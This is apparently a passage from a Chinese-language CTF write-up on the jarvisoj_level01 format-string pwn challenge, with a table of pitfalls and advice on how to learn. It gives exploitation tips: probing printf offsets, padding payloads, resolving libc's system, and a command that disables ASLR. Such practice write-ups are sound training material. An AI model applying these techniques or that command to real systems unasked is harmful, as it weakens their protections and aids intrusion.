的倍數(shù)后面的地址對(duì)齊就會(huì)錯(cuò)位%n$的索引也會(huì)跟著偏移。所以發(fā)送 payload 之前務(wù)必先算好長(zhǎng)度必要時(shí)在字符串開頭補(bǔ)齊填充字節(jié)。我習(xí)慣用p32后統(tǒng)一計(jì)算總長(zhǎng)度確保對(duì)齊。7.4 實(shí)戰(zhàn)避坑清單匯總坑點(diǎn)現(xiàn)象解決方案printf 偏移不對(duì)泄露失敗或崩潰用%9$p先驗(yàn)證0x41414141出現(xiàn)位置libc 版本不對(duì)system 計(jì)算出來后打不通直接用ELF(/lib/i386-linux-gnu/libc.so.6)取符號(hào)棧地址寫死但 ASLR 沒關(guān)本地能通重啟后失效先echo 0 /proc/sys/kernel/randomize_va_spacepayload 長(zhǎng)度不是 4 的倍數(shù)%n$索引錯(cuò)亂用cyclic或手動(dòng)補(bǔ)齊確定對(duì)齊gets輸入含\x00截?cái)噍斎胗胹endline時(shí)注意 payload 中避免\x00或用send 手動(dòng)補(bǔ)\ngdb 插件不兼容調(diào)試體驗(yàn)極差重裝 pwndbg 或換用 gdb 原生命令7.5 從這道題延伸到其他題目打通 jarvisoj_level01 之后你會(huì)發(fā)現(xiàn)一個(gè)很驚喜的事實(shí)Jarvis OJ 的 level 系列從 level01 到 level05難度是平滑遞增的。level02 開始加入 canarylevel03 開始要求 ret2libclevel04 開始有格式化字符串 棧遷移的組合。所以這道題不只是讓你學(xué)會(huì)一個(gè)漏洞更是幫你建立一套“看保護(hù) → 找漏洞 → 定利用鏈 → 寫 exp”的通用解題框架。我現(xiàn)在回頭看最慶幸的是當(dāng)初沒有直接抄網(wǎng)上的 exp而是老老實(shí)實(shí)從偏移探測(cè)開始一步步做。因?yàn)?pwn 題的精髓不在于“跑通一個(gè) exploit”而在于“理解為什么這個(gè) exploit 能跑通”。格式化字符串漏洞尤其如此——它考驗(yàn)的是你對(duì)printf機(jī)制的底層理解而不是工具的使用熟練度。寫在最后一點(diǎn)關(guān)于學(xué)習(xí)路徑的體會(huì)如果你剛接觸 pwn我希望你能在 jarvisoj_level01 上多花點(diǎn)時(shí)間而不是急著刷下一道。把 stack 布局畫爛、把每一次%n的寫入長(zhǎng)度手算一遍、把 libc 符號(hào)解析的流程跑通——這些基本功會(huì)在后續(xù)所有 pwn 題里反復(fù)用到。我在做過這道題之后明顯感覺讀匯編的時(shí)候思路清晰了很多因?yàn)槟阒酪粋€(gè)函數(shù)在被調(diào)用時(shí)棧上到底發(fā)生了什么。最后分享一個(gè)我現(xiàn)在仍然在用的習(xí)慣每次寫完 exp都會(huì)故意把程序重啟幾遍再跑一次確認(rèn)不是“僥幸打通”。pwn 題的魅力就在于你說的每一句“應(yīng)該能通”都得用一次實(shí)際的 shell 來證明。